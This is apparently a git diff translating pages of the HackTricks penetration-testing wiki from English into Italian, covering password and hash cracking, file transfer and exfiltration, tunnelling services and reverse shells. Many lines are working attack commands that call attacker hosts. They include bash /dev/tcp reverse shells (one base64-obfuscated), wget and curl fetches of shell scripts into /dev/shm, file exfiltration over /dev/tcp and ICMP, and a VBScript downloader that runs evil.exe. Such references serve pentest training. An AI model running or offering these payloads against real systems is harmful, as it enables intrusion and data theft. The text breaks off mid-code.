[https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### Metodo 1 +Installa: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### Metodo 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +560,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Un altro tutorial su Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### Chiave privata PGP/GPG ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
### DPAPI Master Key -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john ### Open Office Pwd Protected Column -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +Se hai un file xlsx con una colonna protetta da una password, puoi rimuovere la protezione: +- **Caricalo su google drive** e la password verrà rimossa automaticamente +- Per **rimuoverla** **manualmente**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,35 +595,22 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### Certificati PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## Strumenti -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Esempi di hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier - ```bash hash-identifier > ``` - ### Wordlists - **Rockyou** @@ -780,40 +618,33 @@ hash-identifier - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Strumenti per la Generazione di Wordlist** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generatore avanzato di keyboard-walk con caratteri di base configurabili, mappatura dei tasti e percorsi. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` - ### John mutation -Read _**/etc/john/john.conf**_ and configure it - +Leggi _**/etc/john/john.conf**_ e configurarlo ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat attacchi -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **Attacco con wordlist** (`-a 0`) con regole +**Hashcat** viene già fornito con una **cartella contenente regole** ma puoi trovare [**altre regole interessanti qui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Attacco combinatore di wordlist** -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +È possibile **combinare 2 wordlist in 1** con hashcat.\ +Se la lista 1 conteneva la parola **"hello"** e la seconda conteneva 2 righe con le parole **"world"** e **"earth"**. Le parole `helloworld` e `helloearth` verranno generate. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +655,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **Attacco a maschera** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +687,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- Attacco Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +695,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Modalità Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +Cracking Linux Hashes - file /etc/shadow ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Cracking delle Hash di Windows ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +Cracking delle Hash delle Applicazioni Comuni ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..bc60f1535 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -1,40 +1,33 @@ -# Exfiltration +# Exfiltrazione {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## Domini comunemente autorizzati per l'exfiltrazione di informazioni -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +Controlla [https://lots-project.com/](https://lots-project.com/) per trovare domini comunemente autorizzati che possono essere abusati -## Copy\&Paste Base64 +## Copia\&Incolla Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Caricamento file - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- [**SimpleHttpServer che stampa GET e POST (anche intestazioni)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- Modulo Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **Server HTTPS** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### Server FTP (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### Server FTP (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### Server FTP (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Client** Windows ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali come server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +O crea una condivisione smb **utilizzando samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - Windows - ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +L'attaccante deve avere SSHd in esecuzione. ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Se la vittima ha SSH, l'attaccante può montare una directory dalla vittima all'attaccante. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### Scarica file dalla vittima ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### Carica file sulla vittima ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +grazie a **@BinaryShadow\_** ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +In **victima**, connettersi al server Kali: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Scarica un file con un PHP oneliner: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Vittima** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +Il programma `debug.exe` non solo consente l'ispezione dei file binari, ma ha anche la **capacità di ricostruirli da esadecimali**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +Quindi copia e incolla il testo nella finestra di comando di Windows e verrà creato un file chiamato nc.exe. ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..1e1107c59 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -8,7 +8,7 @@ # [**Full TTYs**](full-ttys.md) -# **Auto-generated shells** +# **Shell auto-generate** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..1f1b1b11f 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -1,13 +1,12 @@ -# Expose local to the internet +# Esporre locale a Internet {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**L'obiettivo di questa pagina è proporre alternative che consentano ALMENO di esporre porte TCP locali e web locali (HTTP) a Internet SENZA la necessità di installare nulla nell'altro server (solo in locale se necessario).** ## **Serveo** -From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - +Da [https://serveo.net/](https://serveo.net/), consente diverse funzionalità di forwarding http e porte **gratuitamente**. ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +Da [https://www.socketxp.com/download](https://www.socketxp.com/download), consente di esporre tcp e http: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +Da [https://ngrok.com/](https://ngrok.com/), consente di esporre porte http e tcp: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +Da [https://telebit.cloud/](https://telebit.cloud/) consente di esporre porte http e tcp: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +Da [https://localxpose.io/](https://localxpose.io/), consente diverse funzionalità di forwarding http e porte **gratuitamente**. ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +Da [https://expose.dev/](https://expose.dev/) consente di esporre porte http e tcp: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +Da [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) consente di esporre http gratuitamente: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..0d476e01c 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -2,36 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +Nota che la shell che imposti nella variabile `SHELL` **deve** essere **elencata all'interno** _**/etc/shells**_ o `Il valore per la variabile SHELL non è stato trovato nel file /etc/shells Questo incidente è stato segnalato`. Inoltre, nota che i prossimi snippet funzionano solo in bash. Se sei in zsh, cambia in bash prima di ottenere la shell eseguendo `bash`. #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> Puoi ottenere il **numero** di **righe** e **colonne** eseguendo **`stty -a`** #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,7 +28,6 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - ### **Spawn shells** - `python -c 'import pty; pty.spawn("/bin/sh")'` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +Un modo conveniente per **accesso shell interattivo**, così come **trasferimenti di file** e **port forwarding**, è scaricare il server ssh staticamente collegato [ReverseSSH](https://github.com/Fahrj/reverse-ssh) sul target. -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +Di seguito è riportato un esempio per `x86` con binari compressi upx. Per altri binari, controlla la [pagina delle release](https://github.com/Fahrj/reverse-ssh/releases/latest/). +1. Preparati localmente per catturare la richiesta di port forwarding ssh: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Obiettivo Linux: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Obiettivo Windows 10 (per versioni precedenti, controlla [project readme](https://github.com/Fahrj/reverse-ssh#features)): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- Se la richiesta di port forwarding ReverseSSH è stata completata con successo, ora dovresti essere in grado di accedere con la password predefinita `letmeinbrudipls` nel contesto dell'utente che esegue `reverse-ssh(.exe)`: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) aggiorna automaticamente le reverse shell Linux a TTY, gestisce la dimensione del terminale, registra tutto e molto altro. Inoltre, fornisce supporto per readline per le shell Windows. ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +Se per qualche motivo non puoi ottenere un TTY completo, **puoi comunque interagire con i programmi** che si aspettano input dell'utente. Nell'esempio seguente, la password viene passata a `sudo` per leggere un file: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..52e0f9c96 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**Se hai domande su una di queste shell, puoi controllarle su** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**Una volta ottenuta una reverse shell**[ **leggi questa pagina per ottenere un full TTY**](full-ttys.md)**.** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +Non dimenticare di controllare con altre shell: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash. -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### Shell sicura dei simboli ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Spiegazione della shell -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: Questa parte del comando avvia una shell Bash interattiva (`-i`). +2. **`>&`**: Questa parte del comando è una notazione abbreviata per **reindirizzare sia l'output standard** (`stdout`) che **l'errore standard** (`stderr`) verso la **stessa destinazione**. +3. **`/dev/tcp//`**: Questo è un file speciale che **rappresenta una connessione TCP all'indirizzo IP e alla porta specificati**. +- Reindirizzando **i flussi di output e di errore a questo file**, il comando invia effettivamente l'output della sessione della shell interattiva alla macchina dell'attaccante. +4. **`0>&1`**: Questa parte del comando **reindirizza l'input standard (`stdin`) alla stessa destinazione dell'output standard (`stdout`)**. +### Crea nel file ed esegui ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +Quando si tratta di una vulnerabilità di **Remote Code Execution (RCE)** all'interno di un'applicazione web basata su Linux, ottenere una reverse shell potrebbe essere ostacolato da difese di rete come le regole iptables o meccanismi di filtraggio dei pacchetti complessi. In tali ambienti ristretti, un approccio alternativo prevede l'istituzione di una shell PTY (Pseudo Terminal) per interagire con il sistema compromesso in modo più efficace. -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +Uno strumento consigliato per questo scopo è [toboggan](https://github.com/n3rada/toboggan.git), che semplifica l'interazione con l'ambiente target. +Per utilizzare toboggan in modo efficace, crea un modulo Python adattato al contesto RCE del tuo sistema target. Ad esempio, un modulo chiamato `nix.py` potrebbe essere strutturato come segue: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) 